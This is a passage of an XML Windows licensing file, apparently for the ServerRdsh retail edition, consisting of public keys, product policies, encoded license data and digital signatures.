xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{df96023b-dcd9-4be2-afa0-c6c871159ebe}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>hLGC0m6jelP/ECAZfKlD4v2MhI0=</DigestValue></Reference></SignedInfo><SignatureValue>cDumg9EFfAUQ1SuT+/oYZNQjyg1wQgJAVivnWdP3d0k50WvXNEo4N/J+vgMof0T3XtI61FI6aRORiE5/HmX5g+ONzbV8iq9j4Hu7dDheK9Sfw7FshQxCH8FOAwJa1IE0ezo57loCPi+ww196zfEhUv/7K/NStsVjdGZP7R3xrF/KK5+49LoKAPjHeX51GUckgN/uY/moeUTGOvaakUkdMiZdIsYqCGmUsTdwX7xk7jP0AreyCtvgdmWDuVz2y/1MiI0rlFYSU++MZqxFEQvfq7/MkGwkElAsThtfVCbqdKxOjabkcl3EGYd9EnQgbUnckJ7apYESb1zgY5cvEIJYYQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{df96023b-dcd9-4be2-afa0-c6c871159ebe}</tm:infoStr><tm:infoStr name="privateCertificateId">{7e084ac0-acf3-4b53-a72b-90376f5892d9}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, RETAIL channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7e084ac0-acf3-4b53-a72b-90376f5892d9}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>BBD0cN90aeJEWwT98E9d/pWZHyg=</DigestValue></Reference></SignedInfo><SignatureValue>fBV57tKOy7g1deUdSAI7y++m5hNdVGrToVWGgAWqvQVy1gSrc1tUDhzLQb2PPxn22MQaVAkwps+MDGig429Lmm4/MvYDJH2vr2YUS0NJ04dphVRmAEpUm7mD8AMt9kT1KaU+KkiINVDXcZXructPKaIUzVSBq1hqBcL9+xM1M7mGy733Wi6gHuYwMnSIuPu7w4PL7ltF7f/biHbyHsI+L7Mujlxk3OyN45345CuXTODYpZllCkoBnIn/eIvePKcXKKMr1DGCILUjaz8pQ8TTkmxm7A0i1Lzd8ZPraXzqKMlVjabfJNINakj+2I1kec9FZUvC5fE7k6ikhvAmsjAlaQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3Pb